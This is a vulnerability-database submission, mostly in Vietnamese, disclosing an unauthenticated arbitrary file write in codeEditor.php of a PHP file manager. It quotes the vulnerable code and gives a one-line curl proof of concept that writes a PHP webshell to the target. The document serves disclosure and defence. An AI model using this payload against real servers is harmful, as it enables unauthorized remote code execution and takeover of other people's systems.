| tiêu đề | JosephChuks php-file-manager-with-code-editor(CWP Code Editor v2.0.1) latest (main branch, codeEditor.php) Arbitrary File Write (CWE-22) / Code Injection (CWE-94) |
|---|
| Mô tả | codeEditor.php (v2.0.1) allows unauthenticated arbitrary file write via the save handler, leading to remote code
execution.
Lines 9-15:
if (!isset($_GET["filename"]) || !is_file($_GET["filename"])) {
die("Invalid file specified.");
}
$filename = $_GET["filename"];
if ($_SERVER["REQUEST_METHOD"] == "POST") {
$content = $_POST["content"];
file_put_contents($filename, $content);
}
No authentication is performed. The $_GET['filename'] parameter is passed directly to file_put_contents() without path
sanitization or extension validation. An attacker can POST to codeEditor.php?filename=shell.php with PHP code as
content, creating a webshell in the web root.
PoC: curl -X POST -d "content=<?php system(\$_GET[c]);?>" "http://target/codeEditor.php?filename=shell.php"
CVSS 3.1: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
|---|
| Nguồn | ⚠️ https://github.com/JosephChuks/php-file-manager-with-code-editor/blob/main/codeEditor.php#L9 |
|---|
| Người dùng | milocat (UID 99840) |
|---|
| Đệ trình | 20/07/2026 05:08 (cách đây 2 các tháng) |
|---|
| Kiểm duyệt | 22/09/2026 08:29 (2 months later) |
|---|
| Trạng thái | được chấp nhận |
|---|
| Mục VulDB | 408348 [JosephChuks php-file-manager-with-code-editor đến 3.0 Save codeEditor.php file_put_contents filename/content nâng cao đặc quyền] |
|---|
| điểm | 20 |
|---|